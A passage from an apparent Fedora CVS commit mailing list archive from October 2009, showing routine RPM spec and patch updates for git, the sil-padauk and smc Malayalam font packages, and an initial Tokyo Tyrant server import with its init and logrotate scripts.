@@ -1,13 +1,12 @@
 # Pass --without docs to rpmbuild if you don't want the documentation
-%global snap .rc2
 Name:           git
 Version:        1.6.5
-Release:        0.2%{?snap}%{?dist}
+Release:        1%{?dist}
 Summary:        Fast Version Control System
 License:        GPLv2
 Group:          Development/Tools
 URL:            http://git-scm.com/
-Source0:        http://kernel.org/pub/software/scm/git/%{name}-%{version}%{?snap}.tar.bz2
+Source0:        http://kernel.org/pub/software/scm/git/%{name}-%{version}.tar.bz2
 Source1:        git-init.el
 Source2:        git.xinetd
 Source3:        git.conf.httpd
@@ -187,7 +186,7 @@ Requires:       git = %{version}-%{relea
 %endif
 
 %prep
-%setup -q -n %{name}-%{version}%{?snap}
+%setup -q
 %patch0 -p1
 %patch1 -p1
 %patch2 -p1
@@ -213,7 +212,7 @@ cat << \EOF > %{name}-req
 sed -e '/perl(packed-refs)/d'
 EOF
 
-%global __perl_requires %{_builddir}/%{name}-%{version}%{?snap}/%{name}-req
+%global __perl_requires %{_builddir}/%{name}-%{version}/%{name}-req
 chmod +x %{__perl_requires}
 
 %build
@@ -388,6 +387,9 @@ rm -rf $RPM_BUILD_ROOT
 # No files for you!
 
 %changelog
+* Sun Oct 11 2009 Todd Zullinger <tmz at pobox.com> - 1.6.5-1
+- git-1.6.5
+
 * Mon Sep 28 2009 Todd Zullinger <tmz at pobox.com> - 1.6.5-0.2.rc2
 - git-1.6.5.rc2
 - Enable Linus' block-sha1 implementation


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/git/F-12/sources,v
retrieving revision 1.82
retrieving revision 1.83
diff -u -p -r1.82 -r1.83
--- sources	28 Sep 2009 15:01:54 -0000	1.82
+++ sources	14 Oct 2009 03:24:09 -0000	1.83
@@ -1 +1 @@
-e9cfec47e38232948dc90188927f7782  git-1.6.5.rc2.tar.bz2
+da86c1736c55edb9f446828581137b51  git-1.6.5.tar.bz2



From mintojoseph at fedoraproject.org  Wed Oct 14 05:06:12 2009
From: mintojoseph at fedoraproject.org (Minto Joseph)
Date: Wed, 14 Oct 2009 05:06:12 +0000 (UTC)
Subject: rpms/sil-padauk-fonts/devel import.log, NONE,
	1.1 sil-padauk-fonts-fontconfig.conf, NONE,
	1.1 sil-padauk-fonts.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091014050612.30E7711C0296@cvs1.fedora.phx.redhat.com>

Author: mintojoseph

Update of /cvs/pkgs/rpms/sil-padauk-fonts/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28496/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log sil-padauk-fonts-fontconfig.conf 
	sil-padauk-fonts.spec 
Log Message:

 Committing in .
 Modified Files:
 	devel/.cvsignore devel/sources 
 Added Files:
 	devel/import.log devel/sil-padauk-fonts-fontconfig.conf 
 	devel/sil-padauk-fonts.spec 
 ----------------------------------------------------------------------



--- NEW FILE import.log ---
sil-padauk-fonts-2_4-6_fc11:HEAD:sil-padauk-fonts-2.4-6.fc11.src.rpm:1255496374


--- NEW FILE sil-padauk-fonts-fontconfig.conf ---
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE fontconfig SYSTEM "../fonts.dtd">
<fontconfig>
  <alias>
    <family>Padauk</family>
    <default>
      <family>sans-serif</family>
    </default>
  </alias>
  <alias>
    <family>sans-serif</family>
    <prefer>
      <family>Padauk</family>
    </prefer>
  </alias>
</fontconfig>


--- NEW FILE sil-padauk-fonts.spec ---
%global fontname sil-padauk
%global fontconf 65-%{fontname}.conf
%global archivename ttf-sil-padauk-2.4

Name:    %{fontname}-fonts
Version: 2.4
Release: 6%{?dist}
Summary: A font for Burmese and the Myanmar script

Group:   User Interface/X
License: OFL
URL:     http://scripts.sil.org/Padauk
# The source link is a redirect and is not directly accessible
Source0: %{archivename}.tar.gz
Source1: %{name}-fontconfig.conf

BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
BuildArch: noarch
BuildRequires: fontpackages-devel
Requires:      fontpackages-filesystem

Obsoletes:     padauk-fonts < 2.4-6

%description
Padauk is a Myanmar font covering all currently used characters
in the Myanmar block. The font aims to cover all minority language needs.
At the moment, these do not extend to stylistic variation needs.
The font is a smart font using a Graphite description.


%prep
%setup -q -c
for txt in doc/*.txt ; do
   fold -s $txt > $txt.new
   sed -i 's/\r//' $txt.new
   touch -r $txt $txt.new
   mv $txt.new $txt
done


%build
# Nothing there


%install
rm -fr %{buildroot}

install -m 0755 -d %{buildroot}%{_fontdir}
install -m 0644 -p *.ttf %{buildroot}%{_fontdir}

install -m 0755 -d %{buildroot}%{_fontconfig_templatedir} \
                   %{buildroot}%{_fontconfig_confdir}

install -m 0644 -p %{SOURCE1} \
        %{buildroot}%{_fontconfig_templatedir}/%{fontconf}

ln -s %{_fontconfig_templatedir}/%{fontconf} \
      %{buildroot}%{_fontconfig_confdir}/%{fontconf}

%clean
rm -fr %{buildroot}

%_font_pkg -f %{fontconf} *.ttf

%doc doc/*.txt



%changelog

* Mon May 26 2009 Minto Joseph <mvaliyav at redhat.com> - 2.4-6
- Changed the URL

* Mon May 25 2009 Minto Joseph <mvaliyav at redhat.com> - 2.4-5
- Cleaned up the spec file
- Used Obsoletes for upgrade path from padauk-fonts

* Tue Mar 24 2009 Minto Joseph <mvaliyav at redhat.com> - 2.4-4
- Cleaned up the spec file as per new font packaging guidelines
- Replaced padauk-src.ttf and padaukbold-src.ttf with Padauk.ttf and Padauk-Bold.ttf [490583]
- Renamed the package to sil-padauk-fonts

* Sun Feb 22 2009 Minto Joseph <mvaliyav at redhat.com> - 2.4-3
- Changed the package as per new font packaging guidelines 


* Fri Jul 15 2008 Minto Joseph <mvaliyav at redhat.com> - 2.4-2
- Changed setup macro and fontconfig rules
- Changed fontconfig prefix


* Fri Jul 15 2008 Minto Joseph <mvaliyav at redhat.com> - 2.4-1
- Changed versioning
- Added configuration file
- Added more description
- Added license file

* Fri Jul 11 2008 Minto Joseph <mvaliyav at redhat.com> - 20080617-1
- initial package



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/sil-padauk-fonts/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	13 Oct 2009 16:26:28 -0000	1.1
+++ .cvsignore	14 Oct 2009 05:06:11 -0000	1.2
@@ -0,0 +1 @@
+ttf-sil-padauk-2.4.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/sil-padauk-fonts/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	13 Oct 2009 16:26:28 -0000	1.1
+++ sources	14 Oct 2009 05:06:11 -0000	1.2
@@ -0,0 +1 @@
+f328e367efc7425d7b161d1c287d8caa  ttf-sil-padauk-2.4.tar.gz



From mintojoseph at fedoraproject.org  Wed Oct 14 05:10:09 2009
From: mintojoseph at fedoraproject.org (Minto Joseph)
Date: Wed, 14 Oct 2009 05:10:09 +0000 (UTC)
Subject: rpms/sil-padauk-fonts/F-11 import.log, NONE,
	1.1 sil-padauk-fonts-fontconfig.conf, NONE,
	1.1 sil-padauk-fonts.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091014051010.0E1DC11C02A2@cvs1.fedora.phx.redhat.com>

Author: mintojoseph

Update of /cvs/pkgs/rpms/sil-padauk-fonts/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29392/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	import.log sil-padauk-fonts-fontconfig.conf 
	sil-padauk-fonts.spec 
Log Message:

 Committing in .
 Modified Files:
 	F-11/.cvsignore F-11/sources 
 Added Files:
 	F-11/import.log F-11/sil-padauk-fonts-fontconfig.conf 
 	F-11/sil-padauk-fonts.spec 



--- NEW FILE import.log ---
sil-padauk-fonts-2_4-6_fc11:F-11:sil-padauk-fonts-2.4-6.fc11.src.rpm:1255496615


--- NEW FILE sil-padauk-fonts-fontconfig.conf ---
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE fontconfig SYSTEM "../fonts.dtd">
<fontconfig>
  <alias>
    <family>Padauk</family>
    <default>
      <family>sans-serif</family>
    </default>
  </alias>
  <alias>
    <family>sans-serif</family>
    <prefer>
      <family>Padauk</family>
    </prefer>
  </alias>
</fontconfig>


--- NEW FILE sil-padauk-fonts.spec ---
%global fontname sil-padauk
%global fontconf 65-%{fontname}.conf
%global archivename ttf-sil-padauk-2.4

Name:    %{fontname}-fonts
Version: 2.4
Release: 6%{?dist}
Summary: A font for Burmese and the Myanmar script

Group:   User Interface/X
License: OFL
URL:     http://scripts.sil.org/Padauk
# The source link is a redirect and is not directly accessible
Source0: %{archivename}.tar.gz
Source1: %{name}-fontconfig.conf

BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
BuildArch: noarch
BuildRequires: fontpackages-devel
Requires:      fontpackages-filesystem

Obsoletes:     padauk-fonts < 2.4-6

%description
Padauk is a Myanmar font covering all currently used characters
in the Myanmar block. The font aims to cover all minority language needs.
At the moment, these do not extend to stylistic variation needs.
The font is a smart font using a Graphite description.


%prep
%setup -q -c
for txt in doc/*.txt ; do
   fold -s $txt > $txt.new
   sed -i 's/\r//' $txt.new
   touch -r $txt $txt.new
   mv $txt.new $txt
done


%build
# Nothing there


%install
rm -fr %{buildroot}

install -m 0755 -d %{buildroot}%{_fontdir}
install -m 0644 -p *.ttf %{buildroot}%{_fontdir}

install -m 0755 -d %{buildroot}%{_fontconfig_templatedir} \
                   %{buildroot}%{_fontconfig_confdir}

install -m 0644 -p %{SOURCE1} \
        %{buildroot}%{_fontconfig_templatedir}/%{fontconf}

ln -s %{_fontconfig_templatedir}/%{fontconf} \
      %{buildroot}%{_fontconfig_confdir}/%{fontconf}

%clean
rm -fr %{buildroot}

%_font_pkg -f %{fontconf} *.ttf

%doc doc/*.txt



%changelog

* Mon May 26 2009 Minto Joseph <mvaliyav at redhat.com> - 2.4-6
- Changed the URL

* Mon May 25 2009 Minto Joseph <mvaliyav at redhat.com> - 2.4-5
- Cleaned up the spec file
- Used Obsoletes for upgrade path from padauk-fonts

* Tue Mar 24 2009 Minto Joseph <mvaliyav at redhat.com> - 2.4-4
- Cleaned up the spec file as per new font packaging guidelines
- Replaced padauk-src.ttf and padaukbold-src.ttf with Padauk.ttf and Padauk-Bold.ttf [490583]
- Renamed the package to sil-padauk-fonts

* Sun Feb 22 2009 Minto Joseph <mvaliyav at redhat.com> - 2.4-3
- Changed the package as per new font packaging guidelines 


* Fri Jul 15 2008 Minto Joseph <mvaliyav at redhat.com> - 2.4-2
- Changed setup macro and fontconfig rules
- Changed fontconfig prefix


* Fri Jul 15 2008 Minto Joseph <mvaliyav at redhat.com> - 2.4-1
- Changed versioning
- Added configuration file
- Added more description
- Added license file

* Fri Jul 11 2008 Minto Joseph <mvaliyav at redhat.com> - 20080617-1
- initial package



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/sil-padauk-fonts/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	13 Oct 2009 16:26:28 -0000	1.1
+++ .cvsignore	14 Oct 2009 05:10:09 -0000	1.2
@@ -0,0 +1 @@
+ttf-sil-padauk-2.4.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/sil-padauk-fonts/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	13 Oct 2009 16:26:28 -0000	1.1
+++ sources	14 Oct 2009 05:10:09 -0000	1.2
@@ -0,0 +1 @@
+f328e367efc7425d7b161d1c287d8caa  ttf-sil-padauk-2.4.tar.gz



From mintojoseph at fedoraproject.org  Wed Oct 14 05:11:39 2009
From: mintojoseph at fedoraproject.org (Minto Joseph)
Date: Wed, 14 Oct 2009 05:11:39 +0000 (UTC)
Subject: rpms/sil-padauk-fonts/F-12 import.log, NONE,
	1.1 sil-padauk-fonts-fontconfig.conf, NONE,
	1.1 sil-padauk-fonts.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091014051139.BCC5711C00E5@cvs1.fedora.phx.redhat.com>

Author: mintojoseph

Update of /cvs/pkgs/rpms/sil-padauk-fonts/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29904/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	import.log sil-padauk-fonts-fontconfig.conf 
	sil-padauk-fonts.spec 
Log Message:

 Committing in .
 Modified Files:
 	F-12/.cvsignore F-12/sources 
 Added Files:
 	F-12/import.log F-12/sil-padauk-fonts-fontconfig.conf 
 	F-12/sil-padauk-fonts.spec 



--- NEW FILE import.log ---
sil-padauk-fonts-2_4-6_fc11:F-12:sil-padauk-fonts-2.4-6.fc11.src.rpm:1255496709


--- NEW FILE sil-padauk-fonts-fontconfig.conf ---
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE fontconfig SYSTEM "../fonts.dtd">
<fontconfig>
  <alias>
    <family>Padauk</family>
    <default>
      <family>sans-serif</family>
    </default>
  </alias>
  <alias>
    <family>sans-serif</family>
    <prefer>
      <family>Padauk</family>
    </prefer>
  </alias>
</fontconfig>


--- NEW FILE sil-padauk-fonts.spec ---
%global fontname sil-padauk
%global fontconf 65-%{fontname}.conf
%global archivename ttf-sil-padauk-2.4

Name:    %{fontname}-fonts
Version: 2.4
Release: 6%{?dist}
Summary: A font for Burmese and the Myanmar script

Group:   User Interface/X
License: OFL
URL:     http://scripts.sil.org/Padauk
# The source link is a redirect and is not directly accessible
Source0: %{archivename}.tar.gz
Source1: %{name}-fontconfig.conf

BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
BuildArch: noarch
BuildRequires: fontpackages-devel
Requires:      fontpackages-filesystem

Obsoletes:     padauk-fonts < 2.4-6

%description
Padauk is a Myanmar font covering all currently used characters
in the Myanmar block. The font aims to cover all minority language needs.
At the moment, these do not extend to stylistic variation needs.
The font is a smart font using a Graphite description.


%prep
%setup -q -c
for txt in doc/*.txt ; do
   fold -s $txt > $txt.new
   sed -i 's/\r//' $txt.new
   touch -r $txt $txt.new
   mv $txt.new $txt
done


%build
# Nothing there


%install
rm -fr %{buildroot}

install -m 0755 -d %{buildroot}%{_fontdir}
install -m 0644 -p *.ttf %{buildroot}%{_fontdir}

install -m 0755 -d %{buildroot}%{_fontconfig_templatedir} \
                   %{buildroot}%{_fontconfig_confdir}

install -m 0644 -p %{SOURCE1} \
        %{buildroot}%{_fontconfig_templatedir}/%{fontconf}

ln -s %{_fontconfig_templatedir}/%{fontconf} \
      %{buildroot}%{_fontconfig_confdir}/%{fontconf}

%clean
rm -fr %{buildroot}

%_font_pkg -f %{fontconf} *.ttf

%doc doc/*.txt



%changelog

* Mon May 26 2009 Minto Joseph <mvaliyav at redhat.com> - 2.4-6
- Changed the URL

* Mon May 25 2009 Minto Joseph <mvaliyav at redhat.com> - 2.4-5
- Cleaned up the spec file
- Used Obsoletes for upgrade path from padauk-fonts

* Tue Mar 24 2009 Minto Joseph <mvaliyav at redhat.com> - 2.4-4
- Cleaned up the spec file as per new font packaging guidelines
- Replaced padauk-src.ttf and padaukbold-src.ttf with Padauk.ttf and Padauk-Bold.ttf [490583]
- Renamed the package to sil-padauk-fonts

* Sun Feb 22 2009 Minto Joseph <mvaliyav at redhat.com> - 2.4-3
- Changed the package as per new font packaging guidelines 


* Fri Jul 15 2008 Minto Joseph <mvaliyav at redhat.com> - 2.4-2
- Changed setup macro and fontconfig rules
- Changed fontconfig prefix


* Fri Jul 15 2008 Minto Joseph <mvaliyav at redhat.com> - 2.4-1
- Changed versioning
- Added configuration file
- Added more description
- Added license file

* Fri Jul 11 2008 Minto Joseph <mvaliyav at redhat.com> - 20080617-1
- initial package



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/sil-padauk-fonts/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	13 Oct 2009 16:26:28 -0000	1.1
+++ .cvsignore	14 Oct 2009 05:11:39 -0000	1.2
@@ -0,0 +1 @@
+ttf-sil-padauk-2.4.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/sil-padauk-fonts/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	13 Oct 2009 16:26:28 -0000	1.1
+++ sources	14 Oct 2009 05:11:39 -0000	1.2
@@ -0,0 +1 @@
+f328e367efc7425d7b161d1c287d8caa  ttf-sil-padauk-2.4.tar.gz



From pravins at fedoraproject.org  Wed Oct 14 05:30:02 2009
From: pravins at fedoraproject.org (Pravin Satpute)
Date: Wed, 14 Oct 2009 05:30:02 +0000 (UTC)
Subject: rpms/smc-fonts/F-12 bug-523454.patch, NONE, 1.1 smc-fonts.spec, 1.9,
	1.10
Message-ID: <20091014053002.BE00511C02A2@cvs1.fedora.phx.redhat.com>

Author: pravins

Update of /cvs/pkgs/rpms/smc-fonts/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4068

Modified Files:
	smc-fonts.spec 
Added Files:
	bug-523454.patch 
Log Message:
* Wed Oct 14 2009 Pravin Satpute <psatpute at redhat.com> 04.2-2
- bugfix 523454


bug-523454.patch:
 malayalam-fonts.conf |    2 --
 1 file changed, 2 deletions(-)

--- NEW FILE bug-523454.patch ---
diff -rup malayalam-fonts-04/malayalam-fonts.conf malayalam-fonts-04_mod/malayalam-fonts.conf
--- malayalam-fonts-04/malayalam-fonts.conf	2008-06-30 00:46:25.000000000 +0530
+++ malayalam-fonts-04_mod/malayalam-fonts.conf	2009-10-12 16:30:00.000000000 +0530
@@ -32,13 +32,11 @@
 		<string>Meera</string>
 	</test>
 	<edit name="matrix" mode="assign">
-		<times>
 			<name>matrix</name>
 			<matrix>
 				<double>1.2</double><double>0</double>
 				<double>0</double><double>1.2</double>
 			</matrix>
-		</times>
 	</edit>
 </match>
 


Index: smc-fonts.spec
===================================================================
RCS file: /cvs/pkgs/rpms/smc-fonts/F-12/smc-fonts.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- smc-fonts.spec	18 Aug 2009 15:46:31 -0000	1.9
+++ smc-fonts.spec	14 Oct 2009 05:30:02 -0000	1.10
@@ -8,7 +8,7 @@ traditional and new Malayalam Script.
 
 Name:		%{fontname}-fonts
 Version:	04.2
-Release:	1%{?dist}
+Release:	2%{?dist}
 Summary:	Open Type Fonts for Malayalam script
 Group:		User Interface/X
 License:	GPLv3+ with exceptions and GPLv2+ with exceptions and GPLv2+ and  GPLv2
@@ -17,6 +17,7 @@ Source:		http://download.savannah.nongnu
 BuildArch:	noarch
 BuildRequires:	fontpackages-devel > 1.13
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
+Patch1: bug-523454.patch
 
 %description
 %common_desc
@@ -126,6 +127,7 @@ traditional Malayalam Scripts.
 
 %prep
 %setup -q -n malayalam-fonts-04
+%patch1 -p1 -b .1-conffile
 
 %build
 echo "Nothing to do in Build."
@@ -152,6 +154,9 @@ rm -fr %{buildroot}
 %dir %{_fontdir}
 
 %changelog
+* Wed Oct 14 2009 Pravin Satpute <psatpute at redhat.com> 04.2-2
+- bugfix 523454
+
 * Tue Aug 18 2009 Rajeesh K Nambiar <rajeeshknambiar at gmail.com> 04.2-1
 - bugfix 484536 for Meera
 



From silas at fedoraproject.org  Wed Oct 14 05:38:40 2009
From: silas at fedoraproject.org (Silas Sewell)
Date: Wed, 14 Oct 2009 05:38:40 +0000 (UTC)
Subject: rpms/tokyotyrant/F-11 import.log, NONE,
	1.1 tokyotyrant-1.1.33.build.patch, NONE, 1.1 tokyotyrant.init,
	NONE, 1.1 tokyotyrant.logrotate, NONE, 1.1 tokyotyrant.spec,
	NONE, 1.1 tokyotyrant.sysconfig, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091014053840.64E8211C00E5@cvs1.fedora.phx.redhat.com>

Author: silas

Update of /cvs/pkgs/rpms/tokyotyrant/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5557/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	import.log tokyotyrant-1.1.33.build.patch tokyotyrant.init 
	tokyotyrant.logrotate tokyotyrant.spec tokyotyrant.sysconfig 
Log Message:
Initial F-11 import



--- NEW FILE import.log ---
tokyotyrant-1_1_35-1_fc11:F-11:tokyotyrant-1.1.35-1.fc11.src.rpm:1255497964

tokyotyrant-1.1.33.build.patch:
 configure.in      |   23 +++--------------------
 tokyotyrant.pc.in |    3 ++-
 2 files changed, 5 insertions(+), 21 deletions(-)

--- NEW FILE tokyotyrant-1.1.33.build.patch ---
diff -up tokyotyrant-1.1.33/configure.in.orig tokyotyrant-1.1.33/configure.in
--- tokyotyrant-1.1.33/configure.in.orig	2009-08-10 23:12:47.210050407 -0400
+++ tokyotyrant-1.1.33/configure.in	2009-08-10 23:14:11.655075602 -0400
@@ -28,32 +28,15 @@ MYDOCUMENTFILES="COPYING ChangeLog THANK
 MYPCFILES="tokyotyrant.pc"
 
 # Building flags
-MYCFLAGS="-std=c99 -Wall -fPIC -fsigned-char -O2"
-MYCPPFLAGS="-I. -I\$(INCLUDEDIR) -I$HOME/include -I/usr/local/include"
+MYCFLAGS="-std=c99 -Wall -fPIC -fsigned-char"
+MYCPPFLAGS="-I. -I\$(INCLUDEDIR)"
 MYCPPFLAGS="$MYCPPFLAGS -DNDEBUG -D_GNU_SOURCE=1 -D_REENTRANT -D__EXTENSIONS__"
-MYLDFLAGS="-L. -L\$(LIBDIR) -L$HOME/lib -L/usr/local/lib"
+MYLDFLAGS="-L. -L\$(LIBDIR)"
 MYCMDLDFLAGS=""
 MYRUNPATH="\$(LIBDIR)"
 MYLDLIBPATHENV="LD_LIBRARY_PATH"
 MYPOSTCMD="true"
 
-# Building paths
-PATH="$PATH:$HOME/bin:/usr/local/bin:/usr/local/sbin:/usr/bin:/usr/sbin:/bin:/sbin"
-PATH="$PATH:/opt/SUNWspro/bin:/usr/ccs/bin:/usr/xpg4/bin:/usr/xpg6/bin:/usr/ucb"
-CPATH="$HOME/include:/usr/local/include:$CPATH"
-LIBRARY_PATH="$HOME/lib:/usr/local/lib:$LIBRARY_PATH"
-LD_LIBRARY_PATH="$HOME/lib:/usr/local/lib:$LD_LIBRARY_PATH"
-PKG_CONFIG_PATH="$HOME/lib/pkgconfig:/usr/local/lib/pkgconfig:$PKG_CONFIG_PATH"
-export PATH CPATH LIBRARY_PATH LD_LIBRARY_PATH PKG_CONFIG_PATH
-if type pkg-config > /dev/null 2>&1
-then
-  PATH="$PATH:`pkg-config --variable=bindir tokyocabinet`"
-  CPATH="$CPATH:`pkg-config --variable=includedir tokyocabinet`"
-  LIBRARY_PATH="$LIBRARY_PATH:`pkg-config --variable=libdir tokyocabinet`"
-  LD_LIBRARY_PATH="$LD_LIBRARY_PATH:`pkg-config --variable=libdir tokyocabinet`"
-fi
-
-
 
 #================================================================
 # Options
diff -up tokyotyrant-1.1.33/tokyotyrant.pc.in.orig tokyotyrant-1.1.33/tokyotyrant.pc.in
--- tokyotyrant-1.1.33/tokyotyrant.pc.in.orig	2009-08-10 23:14:20.984050799 -0400
+++ tokyotyrant-1.1.33/tokyotyrant.pc.in	2009-08-20 22:13:50.658534663 -0400
@@ -10,5 +10,6 @@ datadir=@datadir@
 Name: Tokyo Tyrant
 Description: network interface of Tokyo Cabinet
 Version: @PACKAGE_VERSION@
-Libs: -L${libdir} -ltokyotyrant @LIBS@
+Requires: tokyocabinet
+Libs: -L${libdir} -ltokyotyrant
 Cflags: -I${includedir}


--- NEW FILE tokyotyrant.init ---
#!/bin/sh
#
# ttserver - this script starts and stops the tokyotyrant server
#
# chkconfig:   - 64 36
# description: Tokyo Tyrant is a network interface to the DBM called Tokyo
#              Cabinet.
# processname: ttserver
# config:      /etc/sysconfig/tokyotyrant
# pidfile:     /var/run/tokyotyrant/tokyotyrant.pid

# Source function library
. /etc/rc.d/init.d/functions

basedir="/var/lib/tokyotyrant"
bin="/usr/bin/ttserver"
config="/etc/sysconfig/tokyotyrant"
lockfile="/var/lock/subsys/tokyotyrant"
pidfile="/var/run/tokyotyrant/tokyotyrant.pid"
prog="Tokyo Tyrant"

PORT="1978"
THREADS="8"
TIMEOUT="0"
LOG="/var/log/tokyotyrant/ttserver.log"
DATABASE="$basedir/casket.tch#bnum=1000000"
MAX_CONNECTIONS="65535"
OPTIONS=""

[ -e "$config" ] && . "$config"

start() {
    if [ -n "$MAX_CONNECTIONS" ] ; then
        ulimit -n "$MAX_CONNECTIONS" >/dev/null 2>&1
    fi
    echo -n $"Starting $prog: "
    daemon --user=tokyotyrant $bin -dmn -pid "$pidfile" -port "$PORT" -thnum "$THREADS" -tout "$TIMEOUT" -log "$LOG" "$DATABASE" $OPTIONS
    retval=$?
    echo
    return $retval
}

stop() {
    echo -n $"Stopping $prog: "
    killproc $bin
    retval=$?
    echo
    return $retval
}

restart() {
    stop
    start
}

rh_status() {
    status ttserver
}

rh_status_q() {
    rh_status &> /dev/null
}

reload() {
    echo "Not implemented"
}

force_reload() {
    echo "Not implemented"
}

case "$1" in
    start)
        rh_status_q && exit 0
        $1  
        ;;  
    stop)
        rh_status_q || exit 0
        $1  
        ;;  
    restart)
        $1  
        ;;  
    reload)
        rh_status_q || exit 7
        $1  
        ;;  
    force-reload)
        force_reload
        ;;  
    status)
        rh_status
        ;;  
    condrestart|try-restart)
        rh_status_q || exit 0
        restart
        ;;  
    *)  
        echo $"Usage: $0 {start|stop|status|restart|condrestart|try-restart|reload|force-reload}"
        exit 2
esac
exit $?


--- NEW FILE tokyotyrant.logrotate ---
/var/log/tokyotyrant/*.log {
    missingok
    notifempty
    size 30k
    weekly
    postrotate
        /bin/kill -HUP `cat /var/run/tokyotyrant.pid 2> /dev/null` 2> /dev/null || true
    endscript
}


--- NEW FILE tokyotyrant.spec ---
Name:             tokyotyrant
Version:          1.1.35
Release:          1%{?dist}
Summary:          A network interface to Tokyo Cabinet

Group:            Applications/Databases
License:          LGPLv2+
URL:              http://1978th.net/tokyotyrant/
Source0:          http://1978th.net/tokyotyrant/%{name}-%{version}.tar.gz
Source1:          tokyotyrant.logrotate
Source2:          tokyotyrant.init
Source3:          tokyotyrant.sysconfig
Patch0:           tokyotyrant-1.1.33.build.patch
BuildRoot:        %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
Requires:         %{name}-libs = %{version}-%{release}
Requires:         logrotate
Requires(post):   chkconfig
Requires(postun): initscripts
Requires(pre):    shadow-utils
Requires(preun):  chkconfig
Requires(preun):  initscripts

BuildRequires:    autoconf
BuildRequires:    bzip2-devel
BuildRequires:    lua-devel
BuildRequires:    tokyocabinet-devel >= 1.4.30
BuildRequires:    zlib-devel

%description
Tokyo Tyrant is a network interface to Tokyo Cabinet.

%package          libs
Summary:          Runtime library files for %{name}
Group:            System Environment/Libraries

%description      libs
Tokyo Tyrant is a network interface to Tokyo Cabinet.

The %{name}-libs package contains libraries for running %{name}
applications.

%package          devel
Summary:          Development files for %{name}
Group:            Development/Libraries
Requires:         %{name}-libs = %{version}-%{release}
Requires:         pkgconfig
Requires:         tokyocabinet-devel

%description      devel
Tokyo Tyrant is a network interface to Tokyo Cabinet.

The %{name}-devel package contains libraries and header files for
developing applications that use %{name}.

%prep
%setup -q
%patch0 -p1

%build
%{__sed} -i '/LD_RUN_PATH/d' Makefile.in
autoconf
%configure --enable-lua
%{__make} %{?_smp_mflags}

%install
%{__rm} -fr %{buildroot}
%{__make} DESTDIR=%{buildroot} install
# Install sysconfig and init files
%{__install} -p -m 0644 -D %{SOURCE1} %{buildroot}%{_sysconfdir}/logrotate.d/%{name}
%{__install} -p -m 0755 -D %{SOURCE2} %{buildroot}%{_initddir}/%{name}
%{__install} -p -m 0644 -D %{SOURCE3} %{buildroot}%{_sysconfdir}/sysconfig/%{name}
%{__install} -p -m 0755 -d %{buildroot}%{_localstatedir}/log/%{name}
%{__install} -p -m 0755 -d %{buildroot}%{_localstatedir}/run/%{name}
%{__install} -p -m 0755 -d %{buildroot}%{_sharedstatedir}/%{name}
# Remove un-needed files
%{__rm} -f %{buildroot}%{_sbindir}/ttservctl
%{__rm} -f %{buildroot}%{_libdir}/lib%{name}.a
# Remove doc files installed by make
%{__rm} -f %{buildroot}%{_datadir}/%{name}/COPYING
%{__rm} -f %{buildroot}%{_datadir}/%{name}/ChangeLog
%{__rm} -f %{buildroot}%{_datadir}/%{name}/THANKS
%{__rm} -fr %{buildroot}%{_datadir}/%{name}/doc
# Move non lib* shared libraries into sub-directory
%{__mkdir_p} %{buildroot}%{_libdir}/%{name}
%{__mv} %{buildroot}%{_libdir}/t*.so %{buildroot}%{_libdir}/%{name}

%clean
%{__rm} -fr %{buildroot}

%post
/sbin/chkconfig --add tokyotyrant

%post libs -p /sbin/ldconfig
%postun libs -p /sbin/ldconfig

%pre
getent group %{name} >/dev/null || groupadd -r %{name}
getent passwd %{name} >/dev/null || \
useradd -r -g %{name} -d %{_sharedstatedir}/%{name} -s /sbin/nologin \
-c 'Tokyo Tyrant Server' %{name}
exit 0

%preun
if [ $1 = 0 ]; then
  /sbin/service tokyotyrant stop &> /dev/null
  /sbin/chkconfig --del tokyotyrant
fi

%files
%defattr(-,root,root,-)
%doc ChangeLog doc/
%config(noreplace) %{_sysconfdir}/logrotate.d/%{name}
